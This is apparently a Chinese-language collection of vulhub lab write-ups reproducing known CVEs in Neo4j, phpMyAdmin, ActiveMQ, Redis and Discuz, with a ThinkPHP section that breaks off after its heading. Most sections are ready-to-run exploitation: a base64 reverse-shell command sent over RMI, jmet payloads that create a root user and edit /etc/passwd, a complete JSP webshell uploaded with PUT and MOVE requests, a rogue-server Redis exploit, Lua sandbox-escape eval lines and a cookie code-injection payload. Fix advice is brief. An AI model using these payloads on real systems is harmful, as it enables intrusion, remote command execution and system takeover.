总字符数: 10.80K

代码: 3.25K, 文本: 3.19K

预计阅读时间: 28 分钟

Neo4j Shell Server 反序列化漏洞(CVE-2021-34371)

漏洞概述

Neo4j是一个开源图数据库管理系统.

在Neo4j 3.4.18及以前,如果开启了Neo4j Shell接口,攻击者将可以通过RMI协议以未授权的身份调用任意方法,其中setSessionVariable方法存在反序列化漏洞.因为这个漏洞并非RMI反序列化,所以不受到Java版本的影响.

在Neo4j 3.5及之后的版本,Neo4j Shell被Cyber Shell替代.

利用版本:

  • Neo4j <= 3.4.18

漏洞复现

环境搭建

如果你使用Linux或OSX系统,可以执行如下命令启动一个Neo4j 3.4.18:

1
TARGET_IP=<your-ip> docker-compose up -d

其中,环境变量TARGET_IP需要制定靶场环境的IP地址.

如果你是Windows系统,请直接修改docker-compose.yml,指定TARGET_IP环境变量的值.

服务启动后,访问http://your-ip:7474即可查看到Web管理页面,但我们需要攻击的是其1337端口,这个端口是Neo4j Shell端口,使用RMI协议通信.

下载Java RMI客户端,集成基于Rhino的Gadget,发送RMI请求:YOU-BASE64-ENCODE为反弹shell的base64编码后的东西前面用到过好多次了

java -jar rhino_gadget-1.0-SNAPSHOT-fatjar.jar rmi://受害机IP:1337 "bash -c {echo,YOU-BASE64-ENCODE}|{base64,-d}|{bash,-i}"

修复建议

  • 升级到Neo4j 3.4.19及以上版本

phpmyadmin 4.8.1 远程文件包含漏洞 (CVE-2018-12613)

漏洞概述

利用版本:

  • 4.8.0

  • 4.8.1

漏洞复现

环境启动后,访问http://103.116.46.7:8080. phpmyadmin 是”config”模式,所以我们可以直接登录

访问http://103.116.46.7:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,可见/etc/passwd被读取,说明文件包含漏洞存在

使用方式也比较简单,可以执行一下SELECT '<?=phpinfo()?>';,然后查看自己的sessionid(中phpMyAdmin的值),然后包含session文件即可

修复建议

  • 升级到最新版phpmyadmin

ActiveMQ 反序列化漏洞(CVE-2015-5254)

漏洞概述

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等.

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类.远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码.

漏洞复现

环境运行后,将监听61616和8161两个端口.其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口.

使用浏览器直接访问activemq,查看是否部署完毕

http://103.116.46.7:8161/admin/ (默认的用户名/密码为admin/admin)

漏洞利用过程如下:

  1. 构造(可以使用ysoserial)可执行命令的序列化对象
  2. 作为一个消息,发送给目标61616端口
  3. 访问web管理页面,读取消息,触发漏洞

使用jmet进行漏洞利用.首先下载jmet的jar文件,并在同目录下创建一个external文件夹

jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME.

执行:

1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "ping 6b3chr.dnslog.cn" -Yp ROME 103.116.46.7 61616

此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://103.116.46.7:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息

点击查看这条消息即可触发命令执行

远程添加root用户

执行jmet的命令添加test用户并将其添加到root组,返回http://103.116.46.7:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它

1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 test" -Yp ROME 103.116.46.7 61616

让我们再将passwd中的test的uid修改为0,使它拥有root权限,返回http://103.116.46.7:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它.

1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/test:x:0/g" /etc/passwd" -Yp ROME 103.116.46.7 61616

让我们再为test用户设置一个密码,返回http://103.116.46.7:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它.

1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "test:sd123456" | chpasswd" -Yp ROME 103.116.46.7 61616

到此为止,一个权限为root,密码为123456的用户即创建完毕.我们可以使用ssh直接远程登陆进入操作系统,并且还是最高权限.

ActiveMQ任意文件写入漏洞(CVE-2016-3088)

漏洞概述

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录.

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:

  1. 其使用率并不高
  2. 文件操作容易出现漏洞

所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用.

在测试过程中,可以关注ActiveMQ的版本,避免走弯路.

漏洞复现

环境监听61616端口和8161端口,其中8161为web控制台端口,本漏洞就出现在web控制台中.

访问http://103.116.46.7:8161/看到web页面,说明环境已成功运行.

本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求).所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞.

文件写入有几种利用方法:

  1. 写入webshell
  2. 写入cron或ssh key等文件
  3. 写入jar或jetty.xml等库和配置文件

写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径.

分别说一下上述几种利用方法.

写入webshell

前面说了,写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问.

默认的ActiveMQ账号密码均为admin,首先访问http://103.116.46.7:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:

然后上传webshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PUT /fileserver/1.txt HTTP/1.1
Host: 103.116.46.7:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 334


<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>


移动到web目录下的api文件夹(/opt/activemq/webapps/api/a.jsp)中

1
2
3
4
5
6
7
8
9
10
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/a.jsp
Host: 103.116.46.7:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0


利用该版本存在的未授权访问漏洞,不用登录,访问http://103.116.46.7:8161/api/a.jsp?cmd=ls,下图可以看到成功执行命令

漏洞修复

ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除.建议用户升级至 5.14.0 及其以后版本

Redis 4-unacc未授权访问漏洞

漏洞复现

此靶机不要使用云服务器,否则后面无法连接

使用nmap扫描靶机端口

如下图所示,redis服务正常开启了,在6379端口

攻击机用直接用redis连接,发现可直接访问,还能通过info命令查看到服务器等一些有价值的信息

这足以证明存在未授权访问漏洞

接下来使用网上存在的 exp,先下载到本地,命令

1
2
3
4
5
6
7
wget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/other/redis-rogue-getshell-master.zip
unzip redis-rogue-getshell-master.zip
cd redis-rogue-getshell-master/RedisModulesSDK
# 编译(编译后,当前目录下会有一个exp.so的文件)
make
cd ../
./redis-master.py -r 靶机IP -p 6379 -L 攻击机IP -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"

成功GETSHELL并执行了whoami的命令

Redis Lua沙盒绕过命令执行(CVE-2022-0543)

漏洞概述

影响范围 : Debian 系的 Linux 发行版本 + Ubuntu

CVE-2022-0543 该 Redis 沙盒逃逸漏洞影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞, 漏洞形成原因在于系统补丁加载了一些redis源码注释了的代码

漏洞原理

redis一直有一个攻击面,就是在用户连接redis后,可以通过eval命令执行lua脚本.

但这个脚本跑在沙箱里,正常情况下无法执行命令,读取文件

所以这个CVE本质是一个沙箱绕过漏洞

Ubuntu/Debian/CentOS等这些发行版本会在原始软件的基础上打一些补丁包给Redis打了一个的补丁,增加了一个include, 下面是Debian通过shell使用make生成补丁包的源码 :

1
2
3
4
5
6
7
8
debian/lua_libs_debian.c:
echo "// Automatically generated; do not edit." >$@
echo "luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);" >>$@
set -e; for X in $(LUA_LIBS_DEBIAN_NAMES); do \
echo "if (luaL_dostring(lua, \"$$X = require('$$X');\"))" >>$@; \
echo " serverLog(LL_NOTICE, \"Error loading $$X library\");" >>$@; \
done
echo 'luaL_dostring(lua, "module = nil; require = nil;");' >>$@
  • luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package)就是漏洞的来源,.

这段代码原本在redis源码里已经是被注释了的, 将其注释掉的原因就是for sandboxing concerns

Debian的这个补丁却把这句话重新写进去了, 导致在 Lua 沙箱中遗留了一个对象package,攻击者可以利用这个package对象提供的方法加载动态链接库liblua 里的函数,进而逃逸沙箱执行任意命令

借助 Lua 沙箱中遗留的变量packageloadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io在 Lua 中执行这个导出函数,即可获得io库,再使用其执行命令.

需要注意的一点是 : 不同系统下liblua5.1.so.0的路径可能不同

我们可以利用这个模块,来加载任意Lua库,最终逃逸沙箱,执行任意命令:

1
2
3
4
5
6
7
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("uname -a", "r"); local res = f:read("*a"); f:close(); return res' 0

漏洞复现

  1. 直接通过redis-cli -h 127.0.0.1进入redis里面进行测试

  2. 使用eval命令执行上述脚本:

    1
    eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

最后的一点话 :

之所以Ubuntu也受到影响是因为Ubuntu基于Debian, 所以就存在着同样的问题

Discuz 7.x/6.x 全局变量防御绕过导致代码执行

漏洞概述

​ 由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞.

利用条件:

  1. discuz 6.x / 7.x

  2. request_order默认值为GP

漏洞复现

  1. 访问漏洞环境http://192.168.164.128:8080/install/

    数据库地址填写db,数据库名为discuz,数据库账号密码均为root.

  2. 访问首页

  3. 安装成功以后,直接找一个已经存在的帖子,向其发送数据包,利用burpsite工具修改Cookie值

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    GET /viewthread.php?tid=7&extra=page%3D1 HTTP/1.1
    Host: 192.168.164.128:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie:GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
    Upgrade-Insecure-Requests: 1


  4. 修改完成后,点击发送请求,查看返回包

修复建议

  • 升级版本

ThinkPHP

ThinkPHP 5 5.0.22/5.1.29 远程代码执行漏洞

漏洞概述

ThinkPHP是一款运用极广的PHP开发框架.其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞.

漏洞复现